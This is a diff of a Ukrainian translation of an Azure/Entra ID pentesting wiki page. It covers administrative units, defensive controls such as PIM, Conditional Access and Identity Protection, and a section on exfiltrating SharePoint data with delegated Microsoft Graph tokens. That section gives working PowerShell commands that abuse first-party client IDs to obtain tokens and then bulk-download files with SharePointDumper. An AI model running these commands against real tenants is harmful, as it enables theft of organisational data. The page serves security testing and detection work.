Azure див.: +Щоб дізнатися більше про ролі Azure, див.: {{#ref}} ../az-basic-information/ @@ -1060,12 +1135,12 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember {{#endtabs }} > [!WARNING] -> Якщо пристрій (VM) **AzureAD joined**, користувачі з AzureAD зможуть **увійти**.\ +> Якщо пристрій (VM) є **AzureAD joined**, користувачі з AzureAD **зможуть увійти**.\ > Крім того, якщо залогінений користувач є **Owner** пристрою, він стане **local admin**. -### Administrative Units +### Адміністративні одиниці -Для додаткової інформації щодо адміністративних одиниць див.: +Для отримання додаткової інформації про адміністративні одиниці дивіться: {{#ref}} ../az-basic-information/ @@ -1100,14 +1175,14 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members {{#endtab }} {{#endtabs }} -## Екфільтрація даних SharePoint через делегований Microsoft Graph (SharePointDumper) +## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper) -Зловмисники з **delegated Microsoft Graph token**, який включає **`Sites.Read.All`** або **`Sites.ReadWrite.All`**, можуть перераховувати **sites/drives/items** через Graph та потім **витягувати вміст файлів** за допомогою **SharePoint pre-authentication download URLs** (тимчасово обмежені URL-адреси, які містять access token). Скрипт [SharePointDumper](https://github.com/zh54321/SharePointDumper) автоматизує весь процес (enumeration → pre-auth downloads) і генерує телеметрію по кожному запиту для тестування засобів виявлення. +Атакуючі з **делегованим токеном Microsoft Graph**, що містить **`Sites.Read.All`** або **`Sites.ReadWrite.All`**, можуть перелічувати **sites/drives/items** через Graph, а потім завантажувати вміст файлів через **SharePoint pre-authentication download URLs** (обмежені в часі URL-адреси, що вбудовують access token). Скрипт [SharePointDumper](https://github.com/zh54321/SharePointDumper) автоматизує весь процес (enumeration → pre-auth downloads) і виводить телеметрію по кожному запиту для тестування виявлення. -### Отримання придатних delegated tokens +### Obtaining usable delegated tokens -- SharePointDumper сам **не автентифікується**; потрібно надати access token (опційно refresh token). -- Попередньо погоджені **first-party clients** можна зловживати для отримання Graph token без реєстрації додатку. Приклади викликів `Invoke-Auth` (з [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)): +- Сам SharePointDumper **не виконує автентифікацію**; надайте access token (опційно refresh token). +- Попередньо погоджені **first-party clients** можуть бути зловживані для отримання Graph token без реєстрації додатку. Приклади викликів `Invoke-Auth` (з [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)): ```powershell # CAE requested by default; yields long-lived (~24h) access token Import-Module ./EntraTokenAid/EntraTokenAid.psm1 @@ -1120,40 +1195,40 @@ Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE) ``` > [!NOTE] -> Клієнти FOCI TRUE підтримують refresh між пристроями; клієнти FOCI FALSE часто вимагають `-Origin`, щоб задовольнити перевірку origin reply URL. +> Клієнти FOCI TRUE підтримують refresh на різних пристроях; клієнти FOCI FALSE часто вимагають `-Origin` для проходження валідації походження reply URL. ### Запуск SharePointDumper для enumeration + exfiltration -- Базовий dump з custom UA / proxy / throttling: +- Базовий dump з кастомним UA / proxy / throttling: ```powershell .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080' ``` -- Керування охопленням: включення/виключення сайтів або розширень та глобальні ліміти: +- Контроль області: включення/виключення сайтів або розширень та глобальні обмеження: ```powershell .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100 ``` -- **Продовжити** перервані запуски (повторно перераховує, але пропускає вже завантажені елементи): +- **Продовжити** перервані запуски (повторно перераховує, але пропускає завантажені елементи): ```powershell .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant ``` -- **Автоматичне оновлення токена при HTTP 401** (потребує завантаженого EntraTokenAid): +- **Автоматичне оновлення token при HTTP 401** (вимагає завантаження EntraTokenAid): ```powershell Import-Module ./EntraTokenAid/EntraTokenAid.psm1 .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74' ``` Операційні нотатки: -- Надає перевагу **CAE-enabled** токенам, щоб уникнути закінчення дії під час виконання; спроби оновлення **не** реєструються в API-лозі інструмента. -- Генерує **CSV/JSON request logs** для **Graph + SharePoint** та за замовчуванням маскує вбудовані токени завантаження SharePoint (можна переключити). +- Віддає перевагу **CAE-enabled** токенам, щоб уникнути завершення дії посеред виконання; спроби оновлення **не** записуються в API-логи інструменту. +- Генерує **CSV/JSON request logs** для **Graph + SharePoint** і за замовчуванням маскує вбудовані SharePoint токени завантаження (можна вимкнути). - Підтримує **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, та **Ctrl+C-safe shutdown** для формування трафіку під час тестів виявлення/IR. -## Підвищення привілеїв Entra ID +## Ескалація привілеїв Entra ID {{#ref}} ../az-privilege-escalation/az-entraid-privesc/ {{#endref}} -## Підвищення привілеїв Azure +## Ескалація привілеїв Azure {{#ref}} ../az-privilege-escalation/az-authorization-privesc.md @@ -1163,29 +1238,29 @@ Import-Module ./EntraTokenAid/EntraTokenAid.psm1 ### Privileged Identity Management (PIM) -Privileged Identity Management (PIM) в Azure допомагає **запобігти надмірному наданню привілеїв** користувачам без потреби. +Privileged Identity Management (PIM) в Azure допомагає **запобігати наданню надмірних привілеїв** користувачам без необхідності. -Одна з головних функцій PIM полягає в тому, що він дозволяє не призначати ролі принципалам, які постійно активні, а робити їх доступними на певний період часу (наприклад, 6 місяців). Коли користувач хоче активувати цю роль, йому потрібно запросити її, вказавши час, на який потрібні привілеї (наприклад, 3 години). Потім **адміністратору потрібно схвалити** запит.\ -Зауважте, що користувач також зможе попросити **продовження** часу. +Одна з головних можливостей PIM — не призначати ролі принципалам, які постійно активні, а робити їх **eligible на певний період часу (наприклад, 6 місяців)**. Потім, коли користувач хоче активувати цю роль, він повинен запитати її, вказавши час, на який йому потрібні привілеї (наприклад, 3 години). Після цього **адмін має схвалити** запит.\ +Зверніть увагу, що користувач також зможе попросити **продовжити** час. Крім того, **PIM надсилає електронні листи** щоразу, коли привілейована роль призначається комусь.
-Коли PIM увімкнено, можна налаштувати для кожної ролі певні вимоги, наприклад: +Коли PIM увімкнено, можна налаштувати для кожної ролі такі вимоги: - Максимальна тривалість (години) активації - Вимагати MFA при активації - Вимагати контекст автентифікації Conditional Access - Вимагати обґрунтування при активації - Вимагати інформацію про тикет при активації -- Вимагати затвердження для активації -- Максимальний час до закінчення дії eligible-призначень -- Багато інших налаштувань щодо того, коли і кому надсилати сповіщення при певних діях з цією роллю +- Вимагати схвалення для активації +- Максимальний час до закінчення eligible-призначень +- Багато додаткових налаштувань щодо того, коли і кому надсилати повідомлення при певних діях з цією роллю -### Conditional Access Policies +### Політики Conditional Access -Перевірте: +Перегляньте: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -1193,9 +1268,9 @@ Privileged Identity Management (PIM) в Azure допомагає **запобі ### Entra Identity Protection -Entra Identity Protection — це сервіс безпеки, який дозволяє **виявляти, коли користувач або sign-in є занадто ризиковими**, щоб їх приймати, даючи можливість **блокувати** користувача або спробу входу. +Entra Identity Protection — це сервіс безпеки, який дозволяє **виявляти, коли користувач або вхід є надто ризиковим**, щоб його приймати, дозволяючи **блокувати** користувача або спробу входу. -Адміністратор може налаштувати його так, щоб **блокувати** спроби, коли ризик — "Low and above", "Medium and above" або "High". Однак за замовчуванням він повністю **вимкнений**: +Дозволяє адміну налаштувати блокування спроб, коли ризик "Low and above", "Medium and above" або "High". Проте за замовчуванням він повністю **відключений**:
@@ -1204,10 +1279,10 @@ Entra Identity Protection — це сервіс безпеки, який доз ### Entra Password Protection -Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) — це функція безпеки, яка **допомагає запобігти зловживанню слабкими паролями шляхом блокування облікових записів після кількох невдалих спроб входу**.\ -Вона також дозволяє **забороняти кастомний список паролів**, який потрібно надати. +Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) — це функція безпеки, яка **допомагає запобігти зловживанню слабкими паролями, блокуючи акаунти після кількох невдалих спроб входу**.\ +Вона також дозволяє **заблокувати кастомний список паролів**, який потрібно надати. -Її можна застосовувати **як у хмарі**, так і в локальному Active Directory. +Може бути **застосована як** в хмарі, так і у локальному Active Directory. Режим за замовчуванням — **Audit**: